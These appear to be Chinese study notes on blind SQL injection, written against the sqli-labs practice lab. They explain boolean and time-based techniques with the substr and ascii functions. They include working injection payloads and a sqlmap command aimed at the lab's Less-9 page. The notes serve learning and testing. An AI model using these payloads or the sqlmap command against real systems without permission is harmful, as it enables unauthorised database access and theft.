这种攻击的出现是因为界面不再显示报错信息,没法基于错误提示的方法。
1.盲注介绍
主要内容:
向数据库发送对应true或者false问题,根据应用程序返回的信息判断结果
几个函数:
substr(str,start,len):截取字符串,将str从start(从1开始)位置截取从start开始len长度(包括start)
ascii(i):返回i字符的ascii值
2.Get基于时间的盲注
主要内容:
' and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+
3.Get基于布尔的盲注
主要内容:
基于布尔型的盲注,猜解字符串
length(database())=8
select ascii((substr(database(),1,1)))>115等
4.sqlmap测试
主要内容:
sqlmap -u http://192.168.43.223/sqli/Less-9/?id=1 --technique T --dbs --batch //基于时间盲注